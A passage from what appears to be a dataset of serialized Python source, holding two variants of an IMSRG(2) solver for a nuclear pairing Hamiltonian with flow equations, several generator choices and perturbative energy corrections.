eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\ndef normal_order(H1B, H2B, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n particles = user_data['particles']\n holes = user_data['holes']\n E = 0.0\n for i in holes:\n E += H1B[i, i]\n for i in holes:\n for j in holes:\n E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]]\n f = H1B\n for i in bas1B:\n for j in bas1B:\n for h in holes:\n f[i, j] += H2B[idx2B[i, h], idx2B[j, h]]\n Gamma = H2B\n return E, f, Gamma\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\ndef calc_mbpt3(f, Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n DE3pp = 0.0\n DE3hh = 0.0\n DE3ph = 0.0\n for a in particles:\n for b in particles:\n for c in particles:\n for d in particles:\n for i in holes:\n for j in holes:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[i, i] + f[j, j] - f[c, c] - f[d, d])\n me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[c, d]] * Gamma[idx2B[c,\n d], idx2B[i, j]]\n DE3pp += 0.125 * me / denom\n for i in holes:\n for j in holes:\n for k in holes:\n for l in holes:\n for a in particles:\n for b in particles:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[k, k] + f[l, l] - f[a, a] - f[b, b])\n me = Gamma[idx2B[a, b], idx2B[k, l]] * Gamma[\n idx2B[k, l], idx2B[i, j]] * Gamma[idx2B[i,\n j], idx2B[a, b]]\n DE3hh += 0.125 * me / denom\n for i in holes:\n for j in holes:\n for k in holes:\n for a in particles:\n for b in particles:\n for c in particles:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[k, k] + f[j, j] - f[a, a] - f[c, c])\n me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[k, b], idx2B[i, c]] * Gamma[idx2B[a,\n c], idx2B[k, j]]\n DE3ph -= me / denom\n return DE3pp + DE3hh + DE3ph\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\ndef construct_index_2B(bas2B):\n index = {}\n for i, state in enumerate(bas2B):\n index[state] = i\n return index\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\ndef commutator(a, b):\n return dot(a, b) - dot(b, a)\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\ndef normal_order(H1B, H2B, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n particles = user_data['particles']\n holes = user_data['holes']\n E = 0.0\n for i in holes:\n E += H1B[i, i]\n for i in holes:\n for j in holes:\n E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]]\n f = H1B\n for i in bas1B:\n for j in bas1B:\n for h in holes:\n f[i, j] += H2B[idx2B[i, h], idx2B[j, h]]\n Gamma = H2B\n return E, f, Gamma\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\ndef calc_mbpt3(f, Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n DE3pp = 0.0\n DE3hh = 0.0\n DE3ph = 0.0\n for a in particles:\n for b in particles:\n for c in particles:\n for d in particles:\n for i in holes:\n for j in holes:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[i, i] + f[j, j] - f[c, c] - f[d, d])\n me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[c, d]] * Gamma[idx2B[c,\n d], idx2B[i, j]]\n DE3pp += 0.125 * me / denom\n for i in holes:\n for j in holes:\n for k in holes:\n for l in holes:\n for a in particles:\n for b in particles:\n denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * (\n f[k, k] + f[l, l] - 